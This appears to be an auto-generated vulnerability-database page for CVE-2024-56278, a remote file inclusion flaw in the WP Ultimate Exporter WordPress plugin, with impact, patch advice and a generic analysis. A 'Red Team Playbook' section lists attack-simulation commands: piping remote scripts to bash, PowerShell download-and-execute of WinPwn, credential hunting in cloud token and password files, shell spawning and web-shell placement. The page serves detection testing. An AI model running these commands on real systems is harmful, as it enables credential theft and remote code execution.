CVE-2024-56278
Overview
This vulnerability is a code injection flaw caused by improper control over code generation within the WP Ultimate Exporter plugin. The root cause lies in insufficient validation of user-supplied input that is used in PHP file inclusion routines. Specifically, the plugin's export functionality processes input parameters insecurely, enabling remote file inclusion through PHP, affecting versions up to and including 2.9.1.
Vulnerability Description
Improper Control of Generation of Code ('Code Injection') vulnerability in Smackcoders Inc., WP Ultimate Exporter wp-ultimate-exporter allows PHP Remote File Inclusion.This issue affects WP Ultimate Exporter: from n/a through <= 2.9.1.
Impact
An attacker with a high-privileged account on the WordPress site can leverage this vulnerability to execute arbitrary PHP code remotely, leading to full system compromise. This includes the ability to execute commands, manipulate data, and potentially pivot within the network. The prerequisite is possession of elevated privileges within the WordPress environment, making it critical in scenarios where privileged user accounts are compromised or misused. The business consequence includes unauthorized access to sensitive data and complete loss of server integrity.
Solution
To remediate this vulnerability, update WP Ultimate Exporter to version 2.9.2 or later as recommended by the vendor. The patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/wp-ultimate-exporter/vulnerability/wordpress-wp-ultimate-exporter-plugin-2-9-1-remote-code-execution-rce-vulnerability?_s_id=cve provides detailed patch instructions. No alternative workarounds are specified; applying the vendor-supplied patch is the advised course of action.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in question arises from improper control over the generation of code within the WP Ultimate Exporter plugin developed by Smackcoders Inc. This flaw allows for PHP Remote File Inclusion, which can be exploited by an attacker to execute arbitrary PHP code on the server. The root cause of this vulnerability lies in insufficient validation of user inputs, which permits malicious actors to manipulate the file inclusion process. By crafting a specific request, an attacker can include and execute files from remote servers, leading to a compromise of the web application and potentially the underlying server.
Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be exploited. An attacker could leverage social engineering techniques to lure users into clicking on a malicious link or could directly target the plugin's endpoints with crafted requests. Once the attacker successfully includes a remote file, they can execute arbitrary code, which could lead to a complete takeover of the web server. This exploitation could be performed silently, allowing attackers to maintain persistence on the server, exfiltrate sensitive data, or even pivot to other systems within the network.
The real-world impact of this vulnerability is significant, especially for businesses relying on the WP Ultimate Exporter plugin for their operations. A successful exploitation could lead to unauthorized access to sensitive data, including customer information and proprietary business data. The financial implications could be severe, ranging from direct losses due to data breaches to the costs associated with incident response, recovery, and potential legal liabilities. Furthermore, the reputational damage incurred from such a breach could lead to a loss of customer trust and long-term harm to the brand.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the WP Ultimate Exporter plugin to the latest version is crucial, as updates often contain patches for known vulnerabilities. Additionally, implementing web application firewalls (WAF) can help filter out malicious requests before they reach the application. Organizations should also conduct regular security assessments, including penetration testing and code reviews, to identify and remediate vulnerabilities proactively. Educating users about the risks associated with clicking on untrusted links and employing input validation mechanisms can further reduce the attack surface.
In conclusion, the improper control of code generation within the WP Ultimate Exporter plugin presents a critical security risk that organizations must address. The potential for remote file inclusion poses a serious threat to the integrity and confidentiality of web applications. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. The proactive management of such risks is essential in today’s cybersecurity landscape, where the consequences of inaction can be dire.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
DoTTak/CVE-2024-56278
PoC of CVE-2024-56278
|
DoTTak | 0 | 0 | 2025-01-06 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-56278 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/wp-ultimate-exporter/vulnerability/wordpress-wp-ultimate-exporter-plugin-2-9-1-remote-code-execution-rce-vulnerability?_s_id=cve |